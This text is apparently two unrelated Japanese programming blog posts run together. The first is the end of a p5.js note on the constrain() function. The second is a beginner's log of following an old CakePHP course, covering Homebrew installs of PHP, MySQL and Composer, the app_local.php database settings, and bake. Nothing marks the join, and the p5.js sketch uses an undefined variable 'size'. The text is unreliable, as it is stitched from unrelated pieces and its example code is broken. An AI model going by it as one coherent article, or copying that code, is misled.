今回のconstrain()を使用すれば、指定した数字を最大値にすることができます。
試しに下記のコードを実行してみました。

```javascript
function setup() {
  frameRate(20)
  createCanvas(600, 600);
}

function draw() {
  // frameCountで現在のフレーム数を取得し、0から500までのランダムな数値を取得
  const count = random(0, constrain(frameCount, 0, 500))
  // 結果を画面上にテキスト表示。
  textSize(32)
  text(int(count), random(0, size), random(0, size))
}
```

![スクリーンショット 2021-12-06 1.32.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/358229/78e5a1bf-b543-0b43-79d8-4af3d9fce517.png)


画面上に0から500までのランダムな数値が散りばめられるように書きました。
実行すると分かりますが、どれだけ時間がたっても500を超えることはなく、数値が散らばる範囲も(500, 500)の間です。

シンプルだけどかなり使える関数だと思いました。

## 参考
[p5.js reference | constrain()](https://p5js.org/reference/#/p5/constrain)
[『Generative Design with p5.js』P_1_2_3_01](https://editor.p5js.org/generative-design/sketches/P_1_2_3_01)
遅ればせながらCakePHPに入門する

##この記事に書いてあること
・ドットインストールの[CakePHP3レッスン](https://dotinstall.com/lessons/basic_cakephp_v2)(最終更新2015年)について
・2021年に今更上記レッスンで勉強した感想
・CakePHPの仕様変更などで詰まった(レッスン通りに行かなかった)ところ
・詰まったところの解消方法
などなど
##今更でもCakePHP
PHPやるならLaravelが王道の世の中。
時代に逆行?してBaking Cakeといきます。

筆者のPHP経歴はWordpressのみ。
つまり無いに等しいけど基本文法くらいはわかるレベル。

こんなので美味しいケーキができるのかしら？？

##初学者は黙ってドットインストール()
CakePHPの勉強を始めるにあたって、
まずどの媒体を選ぶかという問題にぶつかりました。
本、公式チュートリアル、ネットの記事、etc...

CakePHPは歴史が長いようで色々と選択肢はありましたが、
正直どれも情報が古く、本も最近の改訂版はなさそう。


(そもそもCakePHPのサポートが終了しているのでそりゃそうか)



数千円する本を買ってコードが動かない時、
自分で解消する力があればよいのですが、初学者はそうはいかないもの。

~~公式チュートリアルを勧める方もいるけど、
あれ、ド初心者には正直何書いてるかわかんないって。~~

まずは手軽に[ドットインストール](https://dotinstall.com/lessons/basic_cakephp_v2)でいいでしょう。
##筆者の開発環境
| 項目 | 情報 |
|:-:|:-:|
| OS  |  macOS |
| パッケージ管理  |  Homebrew 3.3.6 |
## #01 CakePHPを使ってみよう
・CakePHPとは
・開発環境の確認
・intl拡張の確認
・ipアドレスの確認

###詰まったポイント
####intl拡張が入ってない
レッスンではintl拡張が使えるか確認する際にyumを使用します。

```
yum list | grep intl
```
(筆者はそもそもyumは使っていないのでnot foundになりましたが。)

そもそも、調べると、intl拡張はPHP5.3.0以降、同梱されているとのこと。
https://www.php.net/manual/ja/intl.installation.php

phpコマンドは使えるのに入ってないのはなぜ。。。となりましたが、
macデフォルトのPHPではintl拡張が入ってないらしい。

brewでPHPを入れなおしましょ。

```bash
brew install php@7.4
```

これでおk。
パスを通すなどは割愛。

####ipコマンド使えない
macでは```ifconfig```が ```ip```に相当するコマンドのようなので、

```
ifconfig en0
```
で出てきました。

## #02 設計の特徴を理解しておこう
CakePHPの設計の特徴について
・MVCモデル
・CoC ... Convention over Configuration(設定よりも規約)

今は深く掘り下げずにサラッと流しましたが、理解は必須ですね。

##  #03 データベースの設定をしていこう
・MySQLの設定
・SQLの実行
###詰まったポイント
####mysqlが入っていない
一番わかり易いのはいつだってprogate。
https://prog-8.com/docs/mysql-env

こちらもbrewで入れていますね。
progateのドキュメントどおりに進めればOK

## #04 CakePHPをインストールしよう
Composerを使ったCakePHPをインストールについて
・Composerのインストール
・CakePHPのインストール
・ブラウザでの確認
###詰まったポイント
####composerのインストールもbrewでいいよね
レッスンではComposer公式サイトに記載のcurlで導入していましたが、
こちらもbrewで良いでしょう。

```bash
brew install composer
```

composer導入後はCakePHPのプロジェクトを作成し、
ブラウザでwelcome to CakePHPを確認。

## #05 アプリケーションの設定をしていこう
・cakePHPの初期設定
・bakeコマンド
###詰まったポイント
#### config/app.phpを変更してもデータベースに接続できない
config/app.phpの```Datasources```に先のレッスンで作成したデータベースの情報を記載していくのですが、
いくら変更しても
```CakePHP is able to connect to the database.```と表示されません。

そこで調べたところ、app.phpではなく、
同じディレクトリにある```app_local.php```
というファイルの記述を変更しなければいけないようでした。

configディレクトリをよく見てみると似た名前ファイルが3つありますが、

```
app.php　#以降 app と呼ぶ
app_local.example.php
app_local.php #以降 app_local 呼ぶ
```

CakePHP3まではapp以外のファイルはなかったようで、
appだけで設定を行っていたらしいです。

(ドットインストールのレッスンはCakePHP3なので違った)

この点について詳しくはこちらのサイトを参考にしましたmm
[CakePHP4のapp_local.phpを掘り下げてみる](https://tech-gineer.com/cakephp4/70/)

>app_local.phpの仕組み
config/app.phpを読み込んだ後、config/app_local.phpが存在すれば追加読み込みをするという仕組みになっています。


app_localを開いて見ると、
appと同じような内容が記述されており、
レッスン通りappを編集してもapp_localでの同箇所の設定が優先され、
編集は反映されないということですね。。
(優先なのか上書きなのか気になるところ)


###レッスン最後でbake!
05のレッスンの最後ではデータベースの情報をもとにbakeし、コードを自動生成！！

```
bin/cake bake all databasename
```

筆者はこれメチャクチャ感動しました！！！！

UIもだけど投稿機能まで自動で焼き上がってる！まじか！！
スゲーーーー！！！！(大興奮)


##ドットインストール無料版はここまで
筆者がCakePHPで盛り上がってきたところですが、
 #06からはプレミアム会員にならねば観れません。
これから課金し、引き続き学習予定です！

続きは次の記事に書くことにします。
ではではﾉｼ